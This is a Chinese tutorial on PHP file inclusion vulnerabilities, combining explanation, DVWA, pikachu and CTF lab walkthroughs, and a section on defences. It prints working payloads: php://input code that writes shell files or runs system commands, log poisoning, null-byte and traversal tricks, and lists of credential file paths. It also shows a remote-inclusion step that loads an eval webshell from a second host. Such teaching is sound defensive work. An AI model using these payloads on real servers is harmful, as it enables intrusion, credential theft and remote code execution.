Web安全之文件包含漏洞

2022-01-01 編碼安全研究
一、文件包含漏洞概述1、漏洞介紹

程序開發人員一般會把重複使用的函數寫到單個文件中,需要使用某個函數時直接調用此文件,而無需再次編寫,這種文件調用的過程一般被稱為文件包含。程序開發人員一般希望代碼更靈活,所以將被包含的文件設置為變量,用來進行動態調用,但正是由於這種靈活性,從而導致客戶端可以調用一個惡意文件,造成文件包含漏洞。

在通過PHP的函數引入文件時,由於傳入的文件名沒有經過合理的校驗,從而操作了預想之外的文件,導致意外的文件洩露甚至惡意的代碼注入。

動態包含

在使用文件包含的時候,為了更靈活的包含文件,將文件包含的名字處設置為變量,而這個變量是通過GET方式來獲取的值,這樣既可通過前端所輸入的文件名進行包含對應的文件。

2、漏洞產生原因

程序沒有對文件的來源進行嚴格的審查,可以被用戶控制,包含其他惡意文件,導致了執行了非預期的代碼,也就是程式設計師在編寫代碼的時候觸犯的邏輯性的錯誤,就可能會導致文件讀取漏洞和其它類型的漏洞

PHP中文件包含函數有以下四種:

require() 
require_once()
include()
include_once()

包含函數

PHP常見的導致文件包含的函數如下:include(),include_once(),require(),require_once(),fopen(),readfile() 當使用前4個函數包含一個新的文件時,只要文件內容符合PHP語法規範,那麼任何擴展名都可以被PHP解析。包含非PHP語法規範源文件時,將會暴露其原始碼。

3、漏洞分類及其區別

遠程包含與本地包含

遠程文件包含,需要php.ini開啟了allow_url_fopen和allow_url_include的配置。包含的文件是第三方伺服器的文件。

本地文件包含的含義就是包含本地伺服器的文件

遠程與本地包含的區別

本地文件包含就是通過瀏覽器包含web伺服器上的文件,這種漏洞是因為瀏覽器包含文件時沒有進行嚴格的過濾允許遍歷目錄的字符注入瀏覽器並執行。

遠程文件包含就是允許攻擊者包含一個遠程的文件,一般是在遠程伺服器上預先設置好的腳本。此漏洞是因為瀏覽器對用戶的輸入沒有進行檢查,導致不同程度的信息洩露、拒絕服務攻擊,甚至在目標伺服器上執行代碼。

本地文件包含與遠程文件有著相同的原理,但前者只能包含伺服器上存在的文件,而後者可以包含遠程伺服器上的文件。

4、文件包含漏洞危害

1、讀取web配置文件以及敏感的數據

2、web伺服器的文件被外界瀏覽導致信息洩露;

3、與文件上傳漏洞組合getshell,將惡意代碼執行解析

一般來說,遠程文件包含漏洞危害更大

二、文件包含漏洞利用1、偽協議利用

file://
http://
php://

僅能夠對伺服器本地的文件進行包含,由於伺服器上的文件並不是攻擊者所能夠控制的,因此該情況下,攻擊著更多的會包含一些 固定的系統配置文件,從而讀取系統敏感信息。很多時候本地文件包含漏洞會結合一些特殊的文件上傳漏洞,從而形成更大的威力。

PHP 提供了一些雜項輸入/輸出(IO)流,允許訪問 PHP 的輸入輸出流、標準輸入輸出和錯誤描述符, 內存中、磁碟備份的臨時文件流以及可以操作其他讀取寫入文件資源的過濾器

1、php://input

說明:用來接收POST數據。我們能夠通過input把我們的語句輸入上去然後執行。

條件:

php <5.0 ,allow_url_include=Off 情況下也可以用

php > 5.0,只有在allow_url_fopen=On 時才能使用

例1 :增加一句話:

背景:結果將在file.php所在文件下的文件shell.php內增加"<?php phpinfo();?>"一句話。

URL:

http://localhost/include/file.php?file=php://input

POST:

<?php fputs(fopen("shell.php","a"),"<?php phpinfo();?>") ?>

例2:增加文件

背景:通過fopen參數為w,可新建一個文件,並在新建的文件shell.php中寫入<?php phpinfo();?>

URL:

http://localhost/include/file.php?file=php://input

POST:

<?php fputs(fopen("shell.php","w"),"<?php phpinfo();?>") ?>

例3:執行系統命令

背景:通過php的系統執行函數,將執行命令寫入到文件中,並且執行系統命令

URL:

http://localhost/include/file.php?file=php://input

POST:

<?php system('ipconfig');?>

2、data://

說明:

這是一種數據流封裝器,data:URI schema(URL schema可以是很多形式)

利用data://偽協議進行代碼執行的思路原理和php://是類似的,都是利用了PHP中的流的概念,將原本的include的文件流重定向到了用戶可控制的輸入流中

條件:

allow_url_include=Onphp > 5.2

例1:文字命令

背景:使用了base64加密的內容

Payload:

例2 圖片命令:

背景:後面加上圖片木馬

Payload:

http://localhost/image.php?imagedata=data://image/jpeg;base64,

data://手冊:http://www.php.net/manual/zh/wrappers.data.php

3、php://filter

:這個語句用來查看源碼。直接包含php文件時會被解析,不能看到源碼,所以用filter來讀取,不過要先base64加密傳輸過來:

Payload:

http://localhost/file.php?file=php://filter/read=convert.base64-encode/resource=C:\oneword

(絕對路徑)

http://localhost/file.php?file=php://filter/read=convert.base64-encode/resource=../../oneword

(相對路徑)

http://localhost/file.php?file=php://filter/read=convert.base64-encode/resource=[http|https|ftp]://www.bbb.com/

《php:// 》:http://php.net/manual/zh/wrappers.php.php手冊

包含日誌文件

說明:比如Web伺服器的訪問日誌文件,這是一種通用的技巧。因為幾乎所有網站都會將用戶的訪問記錄到訪問日誌中。因此,攻擊者可以向Web日誌中插入PHP代碼,通過文件包含漏洞來執行包含在Web日誌中的PHP代碼。下面的案例中就是利用該技巧成功獲取到目標網站的WebShell的。但需要注意的是,如果網站訪問量大的話,日誌文件可能會非常大,這時如果包含一個這麼大的文件時,PHP進程可能會卡死。一般網站通常會每天生成一個新的日誌文件,因此在凌晨時進行攻擊相對來說容易成功。

日誌默認路徑

apache+Linux日誌默認路徑

/etc/httpd/logs/access_log/var/log/httpd/access_log

apache+win2003日誌默認路徑

D:xamppapachelogsaccess.log
D:xamppapachelogserror.log

IIS6.0+win2003默認日誌文件

C:WINDOWSsystem32Logfiles

IIS7.0+win2003 默認日誌文件

%SystemDrive%inetpublogsLogFiles

nginx 日誌文件在用戶安裝目錄的logs目錄下

如安裝目錄為/usr/local/nginx,則日誌目錄就是在/usr/local/nginx/logs裡

也可通過其配置文件Nginx.conf,獲取到日誌的存在路徑(/opt/nginx/logs/access.log)

例1 :包含日誌一句話

背景:日誌會記錄客戶端請求及伺服器響應的信息,訪問http://www.xx.com/<?php phpinfo(); ?>時,<?php phpinfo(); ?>也會被記錄在日誌裡,也可以插入到User-Agent,但是請求的信息有可能被url編碼之後記錄日誌,這裡可以通過burp來發送請求包來防止被編碼,通過相對路徑找到日誌文件,用webshell工具連接即可

Payload:

http://localhost/include/file.php?file=../../apache/logs/access.log

4、file://

用於訪問本地文件系統,通常用來讀取本地文件的且不受allow_url_fopen與allow_url_include的影響。include()/require()/include_once()/require_once()參數可控的情況下,如導入為非.php文件,則仍按照php語法進行解析,這是include()函數所決定的。

file://文件系統是 PHP 使用的默認封裝協議,展現了本地文件系統。當指定了一個相對路徑(不以/、、\或 Windows 盤符開頭的路徑)提供的路徑將基於當前的工作目錄。在很多情況下是腳本所在的目錄,除非被修改了。使用 CLI 的時候,目錄默認是腳本被調用時所在的目錄。在某些函數裡,例如fopen()和file_get_contents(),include_path會可選地搜索,也作為相對的路徑。

用法:

/path/to/file.ext
relative/path/to/file.ext
fileInCwd.ext
C:/path/to/winfile.ext
C:\path\to\winfile.ext
\\smbserver\share\path\to\winfile.ext
file:///path/to/file.ext

示例:

文件的相對路徑和文件名

http://127.0.0.1/include2.php?file=./phpinfo.txt

file://[文件的絕對路徑和文件名]

http://127.0.0.1/include2.php?file=file://D:\phpStudy\PHPTutorial\WWW\phpinfo.txt

http://網絡路徑和文件名

http://127.0.0.1/include2.php?file=http://127.0.0.1/phpinfo.txt

實操一題:

某題目

check me 點擊後就是這樣

不曉得包含的哪些配置文件

http://4.chinalover.sinaapp.com/web7/index.php?file=php://filter/read=convert.base64-encode/resource=index.php

讀源碼,回顯的源碼經過base64編碼,所以要解碼後才能讀到源碼,flag就在裡面了

<html><title>asdf</title>    <?phperror_reporting(0);if(!$_GET[file]){echo '<a href="./index.php?file=show.php">click me? no</a>';}$file=$_GET['file'];if(strstr($file,"../")||stristr($file, "tp")||stristr($file,"input")||stristr($file,"data")){echo "Oh no!";exit();}include($file); ?></html>

2、文件包含漏洞繞過

00字符截斷(PHP<5.3.4)

PHP內核是由C語言實現的,因此使用了C語言中的一些字符串處理函數。在連接字符串時,0位元組(x00)將作為字符串的結束符。所以在這個地方,攻擊者只要在最後加入一個0位元組,就能截斷file變量之後的字符串

通過web輸入時,只需UrlEncode,變成:

../etc/passwd%00

字符串截斷的技巧,也是文件包含中最常用的技巧

防禦方法:

在一般的web應用中,0位元組用戶其實是不需要的,因此完全可以禁用0位元組

超長字符截斷

採用00字符過濾並沒有完全解決問題,

利用作業系統對目錄最大長度的限制,可以不需要0位元組而達到截斷的目的。

http://www.ibm.com/developerworks/cn/java/j-lo-longpath.html

我們知道目錄字符串,在window下256位元組、linux下4096位元組時會達到最大值,最大值長度之後的字符將被丟棄。

而利用"./"的方式即可構造出超長目錄字符串:

除了incldue()等4個函數之外,PHP中能夠對文件進行操作的函數都有可能出現漏洞。雖然大多數情況下不能執行PHP代碼,但能夠讀取敏感文件帶來的後果也是比較嚴重的。例如: fopen()、fread()

任意目錄遍歷

除了這種攻擊方式,還可以使用"../../../"這樣的方式來返回到上層目錄中,這種方式又被稱為"目錄遍歷(Path Traversal)"。常見的目錄遍歷漏洞,還可以通過不同的編碼方式來繞過一些伺服器端的防禦邏輯(WAF)

防禦方法:

目錄遍歷漏洞是一種跨越目錄讀取文件的方法,但當PHP配置了open_basedir時,將很好地保護伺服器,使得這種攻擊無效。

open_basedir的作用是限制在某個特定目錄下PHP能打開的文件(有點像chroot的感覺)

比如在沒有設置open_basedir時,文件包含漏洞可以訪問任意文件。

當設置了open_basedir時,則包含文件失敗。

問號截斷

如果路徑的後半段都定死了,但是結合HTTP傳參的原理可以繞過去

攻擊者可以構造類似如下的攻擊URL:

http://localhost/FIleInclude/index.php?path=http://localhost/test/solution.php?

產生的原理:

/?path=http://localhost/test/solution.php?

最終目標應用程式代碼實際上執行了:

require_once "http://localhost/test/solution.php?/action/m_share.php";

(注意,這裡很巧妙,問號"?"後面的代碼被解釋成URL的querystring,這也是一種"截斷"思想,和%00一樣)

攻擊者可以在http://localhost/test/solution.php上模擬出相應的路徑,從而使之吻合

三、常見的敏感信息路徑

Windows系統

c:\boot.ini // 查看系統版本

c:\windows\system32\inetsrv\MetaBase.xml // IIS配置文件

c:\windows\repair\sam // 存儲Windows系統初次安裝的密碼

c:\ProgramFiles\mysql\my.ini // MySQL配置

c:\ProgramFiles\mysql\data\mysql\user.MYD // MySQL root密碼

c:\windows\php.ini // php 配置信息

Linux/Unix系統

/etc/passwd // 帳戶信息

/etc/shadow // 帳戶密碼文件

/usr/local/app/apache2/conf/httpd.conf // Apache2默認配置文件

/usr/local/app/apache2/conf/extra/httpd-vhost.conf // 虛擬網站配置

/usr/local/app/php5/lib/php.ini // PHP相關配置

/etc/httpd/conf/httpd.conf // Apache配置文件

/etc/my.conf // mysql 配置文件

四、防禦思路

1、無需情況下設置(在php.ini文件中)allow_url_include和allow_url_fopen為關閉,或者最小權限化

2、對可以包含的文件進行限制,可以使用白名單的方式,或者設置可以包含的目錄,如open_basedir

3、儘量不使用動態包含

4、嚴格檢查變量是否已經初始化。

5、嚴格檢查輸入的地址,不允許出現目錄跳轉符。嘗試對所有輸入提交可能可能包含的文件地址,包括伺服器本地文件及遠程文件,進行嚴格的檢查,參數中不允許出現../之類的目錄跳轉符。

6、嚴格檢查include類的文件包含函數中的參數是否外界可控。

7、不要僅僅在客戶端做數據的驗證與過濾,關鍵的過濾步驟在服務端進行。

8、在發布應用程式之前測試所有已知的威脅。

三個方面具體解釋:

過濾特殊符號

在進行文件包含的時候我們可能經常會用到幾個固定的字符,或者我們在用偽協議的時候我們也會使用特定的字符,例如:\,//,input,output,filter等我們可以將這些銘感字符都給過濾掉。代碼如下

指定包含的文件 (白名單)

我們在做網站開發的時候我們可能經常會使用我們文件包含的函數,但是我們呢包含的文件都是我們指定的文件,也就是我們知道我們需要包含什麼文件。這樣,我們在包含文件的時候就可以添加一條規則,讓我們只能包含指定的文件,如果我們包含了非指定的文件,程序就會報錯退出

文件目錄

php的配置文件中有open_basedir選項可以設置用戶需要執行的文件目錄,如果設置文件目錄的話,我們編寫的腳本只會在該目錄中搜索文件,這樣我們就可以把我們需要包含的文件放到這個目錄就可以了,從而也避免了敏感文件的洩露

DVWA文件包含漏洞靶場

File Inclusion,意思是文件包含(漏洞),是指當伺服器開啟alLow_url_include選項時,就可以通過php的某些特性函數(include(),require()和include_once(),require_once())利用url去動態包含文件,此時如果沒有對文件來源進行嚴格審查,就會導致任意文件讀取或者任意命令執行

low

源碼分析

點擊下面的三個連結,伺服器會包含相應的文件,並將結果返回

修改URL:http://127.0.0.1/dvwa/vulnerabilities/fi/?page=D:\phpstudy\PHPTutorial\WWW\DVWA\php.ini

我們再嘗試一下包含一個phpinfo.txt文件,內容為<?php phpinfo();?>需要特別說明的是,伺服器包含文件時,不管文件後綴是否是php,都會嘗試當做php文件執行,如果文件內容確為php,則會正常執行並返回結果,如果不是,則會原封不動地列印文件內容,所以文件包含漏洞常常會導致任意文件讀取與任意命令執行

Medium

str_replace() //將參數中的http:// https:// ../ ..\都替換成空,很明顯可以雙寫繞過這個

相當於做了一些過濾操作了,禁止目錄跳轉字符和http/https協議

http://127.0.0.1/dvwa/vulnerabilities/fi/?page=D:\phpstudy\PHPTutorial\WWW\DVWA\php.ini

那如果我不知道具體目錄,肯定不能按照上面這個寫法來弄,但可以做雙寫繞過

http://127.0.0.1/dvwa/vulnerabilities/fi/?page=hthttp://tp://127.0.0.1/phpinfo.php

同理,…/./,過濾後變成../

High

//文件名必須以file開始,或只能為include.php

file協議

什麼是File:File協議主要用於訪問本地計算機中的文件,就如同在Windows資源管理器中打開文件一樣。

如何使用File:要使用File協議,基本的格式如下:file:///文件路徑,比如要打開F盤flash文件夾中的1.swf文件,那麼可以在資源管理器或瀏覽器地址欄中輸入:file:///f:/flash/1.swf回車。

High級別的代碼規定只能包含file開頭的文件,看似安全,不幸的是我們依然可以利用file協議繞過防護策略。file協議其實我們並不陌生,當我們用瀏覽器打開一個本地文件時,用的就是file協議,構造如下URL

http://127.0.0.1/DVWA/vulnerabilities/fi/?page=file:///D:\phpstudy\PHPTutorial\WWW\DVWA\php.ini

impossbile

//file變量只能為include.php、file1、file2、file3其中一個

Impossible級別的代碼使用了白名單機制進行防護,簡單粗暴,page參數必須為「include.php」、「file1.php」、「file2.php」、「file3.php」之一,徹底杜絕了文件包含漏洞。

pikachu文件包含漏洞靶場

本地文件包含

http://127.0.0.1/pikachu/vul/fileinclude/fi_local.php?filename=file1.php&submit=%E6%8F%90%E4%BA%A4%E6%9F%A5%E8%AF%A2

修改為:

http://127.0.0.1/pikachu/vul/fileinclude/fi_local.php?filename=../../../../phpinfo.php&submit=%E6%8F%90%E4%BA%A4%E6%9F%A5%E8%AF%A2

成功包含

遠程文件包含

先看看url:

http://127.0.0.1/pikachu/vul/fileinclude/fi_remote.php?filename=include%2Ffile1.php&submit=%E6%8F%90%E4%BA%A4%E6%9F%A5%E8%AF%A2#

復現步驟:

1:使用kali來做遠程主機 2:在kali的/var/www/html/目錄下新建phpinfo.txt

cd /var/www/html/
vim phpinfo.txt
<?php phpinfo(); ?> <?php @eval($_POST['wx']); ?>
systemctl start apache2.service
systemctl status apache2.service

訪問kali,沒問題

http://127.0.0.1/pikachu/vul/fileinclude/fi_remote.php?filename=http://192.168.142.128/phpinfo.txt&submit=%E6%8F%90%E4%BA%A4%E6%9F%A5%E8%AF%A2#

OK


【歷史文章】:

【入門教程】常見的Web漏洞--XSS

【入門教程】常見的Web漏洞--SQL注入

sql注入--入門到進階

簡訊驗證碼安全常見邏輯漏洞

最全常見Web安全漏洞總結及推薦解決方案

常見的Web應用的漏洞總結(原理、危害、防禦)

代碼審計常見漏洞總結

Web安全漏洞的靶場演示

13 款 Linux 比較實用的工具

xss攻擊、繞過最全總結

學習更多技術,關注我:

覺得文章不錯給點個『再看』吧

相關焦點

  • web安全篇(一):PHP文件包含漏洞姿勢總結
    0×01 文件包含Q:什麼是文件包含?A:簡單一句話,為了更好地使用代碼的重用性,引入了文件包含函數,可以通過文件包含函數將文件包含進來,直接使用包含文件的代碼。Q:文件包含漏洞的成因是什麼?A:在包含文件的時候,為了靈活包含文件,將包含文件設置為變量,通過動態變量來引入需要包含的文件時,用戶可以對變量的值可控而伺服器端未對變量值進行合理地校驗或者校驗被繞過,這樣就導致了文件包含漏洞,通常文件包含漏洞出現在PHP語言中。
  • 原創 | "白話"PHP文件包含漏洞
    接下來聊聊什麼是文件包含漏洞(以下探究,力求用最基本的環境去闡述漏洞產生的原理)在上面的實例中,可以知道include()函數靜態包含了functions.php文件,也就是,客戶端的用戶是不能隨意修改的,但是如果include()採用動態包含的方式去包含文件,且未做好安全措施,就有可能產生文件文件包含漏洞,下面來看一個採用include()動態包含文件的例子。
  • PHP 文件包含漏洞姿勢總結
    本文作者:mang0(來自信安之路學生滲透小組)贈送書籍:《Web安全之強化學習與GAN》活動地址:信安之路五月送書活動
  • 常見WEB基礎漏洞
    危害:篡改目標網站上的用戶數據;盜取用戶隱私數據;作為其他攻擊向量的輔助攻擊手法;傳播CSRF蠕蟲。防禦:設置和判斷cookie時採用hash值認證。儘量採用post類型傳參,這就減少了請求被直接偽造的可能。
  • FUSE:23個Web應用中的30個文件上傳漏洞
    轉載: nosec作者:iso60001通過使用一個自動化測試工具包,來自韓國的安全研究人員發現了23個Web應用(論壇、CMS等)所涉及的文件上傳機制中的30個漏洞。這些真實Web應用中的上傳漏洞可幫助黑客通過文件上傳功能將惡意文件植入受害者的伺服器中。這些惡意文件可以在目標網站上執行系統命令,竊取敏感信息,影響現有的安全設置,充當後門,讓黑客完全控制伺服器。
  • 常規web滲透測試漏洞合集
    攻擊者可通過此漏洞上傳惡意腳本文件,對伺服器的正常運行造成安全威脅!修復建議  1、對上傳文件類型進行限制,並且不能只做前端的限制,而要前端和後端一起限制,後端可以進行擴展名檢測,重命名文件,MIME類型檢測以及限制上傳文件的大小,或是將上傳的文件放在安全的路徑下,儘量放於webserver之外的遠程伺服器等。
  • Web常見漏洞描述及修復建議
    2、減少或不使用代碼或命令執行函數  3、客戶端提交的變量在放入函數前進行檢測  4、減少或不使用危險函數7.任意文件上傳  漏洞描述  文件上傳漏洞通常由於代碼中對文件上傳功能所上傳的文件過濾不嚴或web伺服器相關解析漏洞未修復而造成的,如果文件上傳功能代碼沒有嚴格限制和驗證用戶上傳的文件後綴
  • PHP文件包含漏洞利用思路與Bypass總結手冊(二)
    可以通過phpinfo查看session.save_path的值知道session的存儲後,總結常見的php-session默認存放位置是很有必要的,因為在很多時候伺服器都是按照默認設置來運行的,這個時候假如我們發現了一個沒有安全措施的session包含漏洞就可以嘗試利用默認的會話存放路徑去包含利用。
  • PHP文件包含漏洞利用思路與Bypass總結手冊(三)
    Bypass-協議限制data://如果在我們使用文件包含漏洞時data://協議被限制,但是我們又想要使用的話該怎麼繞過,比如下面這段限制代碼分析代碼可知filename變量內容開頭不能出現PHP針對RFI URL包含限制主要是利用allow_url_include=Off來實現,將其設置為Off,可以讓PHP不加載遠程HTTP或FTP URL,從而防止遠程文件包含攻擊。那麼,我們是不是可以這樣想,有沒有什麼其它協議可以讓我們去包含遠程伺服器文件,答案是肯定的,例如SMB、WebDAV等協議。
  • 安全小課堂第九十七期【web漏洞挖掘之業務邏輯漏洞】
    JSRC 安全小課堂第九十七期,邀請到Urahara作為講師就web漏洞之業務邏輯漏洞為大家進行分享。感謝白帽子盆友的精彩提問與互動~Urahara:1)支付金額大小篡改。這部分大家可以學習《Race conditions on web》這篇文章。
  • PHP文件包含漏洞利用思路與Bypass總結手冊(完結)
    Bypass-Session限制LFI-Base64Encode很多時候伺服器上存儲的Session信息都是經過處理的(編碼或加密),這個時候假如我們利用本地文件包含漏洞直接包含惡意session的時候是沒有效果的
  • Web 安全考試,掛了
    比如,之前我們團隊就有個安全漏洞的接口,直接被攻破(還好是被公司安全掃描組件掃出來,對方確實專業)導致丟失了伺服器控制權 —— 一行代碼引來的安全漏洞就讓我們丟失了整個伺服器的控制權文件上傳:比如限制的上傳文件類型不嚴格,導致帶來風險。比如結合路徑遍歷(或文件包含)漏洞,可能活脫脫提供一個webshell功能。路徑遍歷:對用戶請求某個路徑沒限制,可以任意拼接伺服器本地文件,導致洩露文件信息等(比如某些重要的資料庫配置文件等)。信息洩露:舉個例子,比如常見的 web後臺異常信息輸出,把資料庫表結構等都洩露了。
  • web團隊:一群專找移動信息安全漏洞的專家
    原標題:web團隊:一群專找移動信息安全漏洞的專家  ■團隊組參賽案例   行動支付、網上購票、網絡雲盤……這些移動平臺上的應用軟體正逐漸成為我們生活的一部分。但看似安全的他們其實背後隱藏著很大的信息安全隱患。
  • 路由器漏洞挖掘之 DIR-805L 越權文件讀取漏洞分析
    接下來的文章都會實戰復現一些關於路由器的 web /二進位漏洞,可能會寫的比較細,希望能給大家帶來啟發。
  • 漏洞預警:CVE-2021-32305 WebSVN 2.6.0 RCE
    Part1漏洞描述WebSVN是一個基於Web的Subversion Repository瀏覽器,可以查看文件或文件夾的日誌
  • 資深Web安全工程師培養計劃,給你一個去大廠的機會!| 最後三天
    大部分新人在學習Web安全技術的時候,往往止步於「工具使用」,而忽略了底層原理,更沒有代碼編程能力,使得後續職場發展受到很大阻礙,而本系列課程涵蓋Web入門、Web前端開發、Web後端開發、Web安全滲透等,使得學員能夠真正掌握Web前後端原理,能獨立開發一個Web網站,並在代碼級別上理解Web安全漏洞,真正意義上做到 [從原理到實戰]
  • 零基礎如何學習Web安全滲透測試?這可能是史上最詳細的自學路線圖!
    >由於有 Web 後端語言基礎,那麼會很快搞定 Webshell木馬、文件上傳、代碼執行等漏洞(服務端安全)由於有 資料庫 SQL 語言基礎,那麼你學 SQL 注入漏洞或者搞手工注入會感到輕而易舉熟練 Web 安全攻防實驗室搭建與靶機使用,包括 OWASP BWA、DVWA、Mutillidae II、PentesterLab 等。熟練OWASP TOP10 等 Web 漏洞原理與利用,包括 SQL 注入、文件上傳、文件包含、Webshell木馬編寫、命令執行、XSS跨站腳本攻擊、CSRF跨站偽造請求等。
  • Java安全之反序列化漏洞分析
    何來的漏洞之說?呵呵,意外往往就發生在不經意之間,如果反序列化過程中提供了命令執行的機會,那麼任意命令執行漏洞就產生了,如下我們在Session對象的readObject函數中增加了執行命令的代碼:Apache-CommonCollections REC 漏洞解析該漏洞曝光於2015年年底,被譽為當年「最被低估了的漏洞」,利用思路一經爆出,各大Java web 廠商紛紛躺槍,受此影響的Web伺服器有:WebLogic、WebSphere、JBoss、Jenkins、OpenNMS
  • Web安全測試你知道多少
    數據驗證類型: 如果web server端提交sql語句時,不對提交的sql語句驗證,那麼一個黑客就可暗喜了。他可將提交的sql語句分割,後面加一個delete all或drop database的之類語句,能將你的資料庫內容刪個精光!我這一招還沒實驗在internet網站上,不知這樣的網站有沒有,有多少個。反正我負責的那個web系統曾經發現這樣的問題。
  • 文件包含利用思路
    為了使代碼更加靈活,通常會將被包含的文件設置為變量,用來進行動態調用,但正是由於這種靈活性,從而導致客戶端可以調用一個惡意文件,造成文件包含漏洞。文件包含漏洞的環境要求· 變量可控· allow_url_fopen=On(默認為On) 規定是否允許從遠程伺服器或者網站檢索數據 (遠程包含條件)· allow_url_include=On(php5.2之後默認為Off) 規定是否允許include/require遠程文件 (本地包含條件)